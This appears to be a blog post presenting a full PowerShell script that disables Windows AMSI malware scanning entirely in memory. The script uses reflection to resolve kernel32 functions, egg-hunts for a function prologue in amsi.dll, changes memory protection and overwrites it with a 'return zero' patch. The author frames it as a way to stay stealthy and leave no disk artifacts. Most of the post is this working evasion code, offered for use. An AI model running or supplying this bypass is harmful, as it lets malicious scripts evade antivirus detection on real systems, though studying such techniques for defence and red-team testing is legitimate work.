Using Reflection for AMSI Bypass

Converting an already available AMSI Bypass to FULL in memory AMSI Bypass

Already Existing Bypass and the Issue

I was reading for the AMSI Bypasses and found the Bypass documented by Contextis at https://www.contextis.com/en/blog/amsi-bypass. Now everything as good here with the bypass except one problem. The problem is that the bypass is using Add-Type . Whenever you use Add-Type, the code gets written to a temporary file and then csc.exe is used to compile a binary which stays on disk. This creates a problem when you want to stay stealthy and don't want to write any artifact on disk.

PowerShell writing to disk

Once Powershell Writes the script on disk, CSC then compiles it

CSC.exe compiling the script

Solution: Reflection

Matt Graeber in his post on exploit-monday.com go into great detail on how to use reflection for accessing Win32 API . Please refer to blog post to understand how Reflection works.

Modified Script

After using Reflection here is the Modified Script to Bypass AMSI.

Write-Host "-- AMSI Patch"
Write-Host "-- Modified By: Shantanu Khandelwal (@shantanukhande)"
Write-Host "-- Original Author: Paul Laîné (@am0nsec)"
Write-Host ""
​
Class Hunter {
static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
​
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
​
return $address
}
}
function Get-ProcAddress {
Param(
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
)
​
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
​
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VistualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VistualProtectDelegate)
​
​
If ([IntPtr]::Size -eq 8) {
Write-Host "[+] 64-bits process"
[byte[]]$egg = [byte[]] (
0x4C, 0x8B, 0xDC, # mov r11,rsp
0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx
0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp
0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi
0x57, # push rdi
0x41, 0x56, # push r14
0x41, 0x57, # push r15
0x48, 0x83, 0xEC, 0x70 # sub rsp,70h
)
} Else {
Write-Host "[+] 32-bits process"
[byte[]]$egg = [byte[]] (
0x8B, 0xFF, # mov edi,edi
0x55, # push ebp
0x8B, 0xEC, # mov ebp,esp
0x83, 0xEC, 0x18, # sub esp,18h
0x53, # push ebx
0x56 # push esi
)
}
​
​
$hModule = $LoadLibrary.Invoke("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"
$DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule, "DllGetClassObject")
Write-Host "[+] DllGetClassObject address: $DllGetClassObjectAddress"
[IntPtr]$targetedAddress = [Hunter]::FindAddress($DllGetClassObjectAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"
​
$oldProtectionBuffer = 0
$VirtualProtect.Invoke($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
​
$patch = [byte[]] (
0x31, 0xC0, # xor rax, rax
0xC3 # ret
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
​
$a = 0
$VirtualProtect.Invoke($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null

The script can also be downloaded from this gist https://gist.github.com/shantanu561993/6483e524dc225a188de04465c8512909​

The advantage of using reflection is that there is no Temporary file and no calls to csc which allows the script to stay fully in memory.

No Temporary files by powershell and no CSC.exe compilation .

This means the bypass is full in memory which is the end result. :)

Credits

Matt: https://twitter.com/mattifestation Paul: https://twitter.com/am0nsec​

​